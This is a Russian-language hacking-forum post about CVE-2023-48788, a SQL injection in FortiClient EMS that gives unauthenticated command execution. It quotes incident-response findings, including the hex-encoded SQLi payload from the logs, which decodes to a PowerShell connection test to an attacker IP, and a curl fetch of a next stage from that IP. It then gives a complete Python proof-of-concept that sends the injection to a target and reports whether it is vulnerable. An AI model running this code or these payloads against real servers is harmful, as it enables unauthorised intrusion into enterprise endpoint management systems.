• XSS.stack #1 – первый литературный журнал от юзеров форума

Remote SQL Injection, FortiClient EMS, CVE-2023-48788

BLUA

CPU register
Пользователь
Регистрация
24.03.2022
Сообщения
1 189
Решения
1
Реакции
794
Думаю что будет полезно
Источник:

Мой коллега по команде @hackerkartellet расследовал вторжение на этой неделе, начавшееся через CVE-2023-48788: уязвимость в приложении Fortinet FortiClient EMS, которая позволяет неаутентифицированным пользователям выполнять команды (с правами SYSTEM) с помощью специально сформированных сообщений, как подробно описано @Horizon3Attack [1].

Предварительным условием для эксплуатации уязвимости является доступность порта EMS 8013 (TCP) из Интернета, что и было в нашем расследовании.

Horizon3 опубликовал свой код доказательства концепции 20 марта 2024 года [2]. Модуль Metasploit последовал 12 апреля 2024 года [3].

Но только на этой неделе клиент заметил уязвимое приложение, потому что EDR выдал предупреждение (sqlservr.exe -> cmd.exe -> powershell.exe). Как неоднократно упоминалось, защита периметра критически важна, включая регулярное сканирование периметра на наличие уязвимостей. Специальный сканер уязвимостей мог бы обнаружить эту уязвимость, и патч мог бы быть применен вовремя.

В этом случае есть несколько судебно-медицинских находок: журналы fcmdaemon хранятся в каталоге C:\Program Files (x86)\Fortinet\FortiClientEMS\logs, например: fcmdaemon[2024-05-15 04-39-09].log.

Если мы посмотрим на модуль Metasploit, мы увидим, что полезная нагрузка объединена здесь: CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}).

Когда мы ищем ключевое слово VARCHAR в журналах, мы действительно видим ссылки на этот модуль Metasploit:
OR 1=1; DECLARE SQL
VARCHAR(118) = CONVERT(VARCHAR(MAX), 0X706F7765727368656C6C2E65786520746573742D6E6574636F6E6E656374696F6E203138352E3231362E37302E313730202D706F72742031333337);

Что, когда мы декодируем обратно из hex, является исходным тестом соединения:
powershell.exe test-netconnection 185.216.70.170 -port 1337

За которым следует следующий этап цепочки эксплуатации:
curl hXXp://185.216.70.170:1337
 
Пожалуйста, обратите внимание, что пользователь заблокирован


Python:
import argparse
import socket
import ssl


REGISTER = (
    "MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{}\n"
    + "IP=127.0.0.1\n"
    + "MAC=00-50-56-11-22-33\n"
    + "FCT_ONNET=0\n"
    + "CAPS=32767\n"
    + "VDOM=default\n"
    + "EC_QUARANTINED=0\n"
    + "SIZE=    {}\n"
    + "\n"
    + "X-FCCK-REGISTER: SYSINFO||QVZTSUdfVkVSPTEuMDAwMDAKUkVHX0tFWT1fCkVQX09OTkVUQ0hLU1VNPTAKQVZFTkdfVkVSPTYuMDAyNjYKREhDUF9TRVJWRVI9Tm9uZQpGQ1RPUz1XSU42NApWVUxTSUdfVkVSPTEuMDAwMDAKRkNUVkVSPTcuMC43LjAzNDUKQVBQU0lHX1ZFUj0xMy4wMDM2NApVU0VSPUFkbWluaXN0cmF0b3IKQVBQRU5HX1ZFUj00LjAwMDgyCkFWQUxTSUdfVkVSPTAuMDAwMDAKVlVMRU5HX1ZFUj0yLjAwMDMyCk9TVkVSPU1pY3Jvc29mdCBXaW5kb3dzIFNlcnZlciAyMDE5ICwgNjQtYml0IChidWlsZCAxNzc2MykKQ09NX01PREVMPVZNd2FyZSBWaXJ0dWFsIFBsYXRmb3JtClJTRU5HX1ZFUj0xLjAwMDIwCkFWX1BST1RFQ1RFRD0wCkFWQUxFTkdfVkVSPTAuMDAwMDAKUEVFUl9JUD0KRU5BQkxFRF9GRUFUVVJFX0JJVE1BUD00OQpFUF9PRkZORVRDSEtTVU09MApJTlNUQUxMRURfRkVBVFVSRV9CSVRNQVA9MTU4NTgzCkVQX0NIS1NVTT0wCkhJRERFTl9GRUFUVVJFX0JJVE1BUD0xNTU5NDMKRElTS0VOQz0KSE9TVE5BTUU9Q1lCRVItUkVUUUIxRkxQCkFWX1BST0RVQ1Q9CkZDVF9TTj1GQ1Q4MDAxNjM4ODQ4NjUxCklOU1RBTExVSUQ9NTczMTUzMkItMkUyOC00OEYwLUFDQ0YtNDI4MEU0ODNFRTE0Ck5XSUZTPUV0aGVybmV0MHwxMC4wLjQwLjg1fDAwLTUwLTU2LTg0LTMzLWIyfDEwLjAuNDAuMjU0fGY0LTRlLTA1LTRmLTZjLTQ4fDF8KnwwClVUQz0xNzEwMjcxNzc0ClBDX0RPTUFJTj0KQ09NX01BTj1WTXdhcmUsIEluYy4KQ1BVPUludGVsKFIpIFhlb24oUikgU2lsdmVyIDQyMTUgQ1BVIEAgMi41MEdIegpNRU09MTIyODcKSEREPTk5CkNPTV9TTj1WTXdhcmUtNDIgMDQgZWQgMmQgNjQgZTggMGIgMTQtNDUgZTkgZTQgZjYgNWEgYzcgNjcgODIKRE9NQUlOPQpXT1JLR1JPVVA9V09SS0dST1VQClVTRVJfU0lEPVMtMS01LTIxLTI2MTY1Njk4OTQtNDUzOTU0ODcxLTE0NTg4MDY4Mi01MDAKR1JPVVBfVEFHPQpBREdVSUQ9CkVQX0ZHVENIS1NVTT0wCkVQX1JVTEVDSEtTVU09MApXRl9GSUxFU0NIS1NVTT0wCkVQX0FQUENUUkxDSEtTVU09MAo=\n"
    + "X-FCCK-REGISTER-END"
    + "\r\n"
    + "\r\n"
)

SQLI = "' OR 1=1 --"


def send_message(target, port):
    sqli = SQLI
    msg_len = len(REGISTER + sqli)
    msg = REGISTER.format(sqli, msg_len)
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5.0)
    addr = (target, int(port))
    context = ssl.create_default_context()
    context.check_hostname = False
    context.verify_mode = ssl.CERT_NONE
    secure_socket = context.wrap_socket(s, server_hostname="asdf")
    secure_socket.connect(addr)
    secure_socket.send(msg.encode())
    print(f"[+] Sent Message!\n{msg}")
    response = secure_socket.recv(1024)
    print(response)
    if response and "KA_INTERVAL" in response.decode():
        print("[+] The target is vulnerable!")
    else:
        print("[-] The target is not vulnerable!")


if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "-t",
        "--target",
        help="The Fortinet Endpoint Managment Server target IP address",
        required=True,
    )
    parser.add_argument(
        "-p",
        "--port",
        help="The Fortinet Endpoint Managment Server target port",
        required=True,
    )
    args = parser.parse_args()

    send_message(args.target, args.port)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх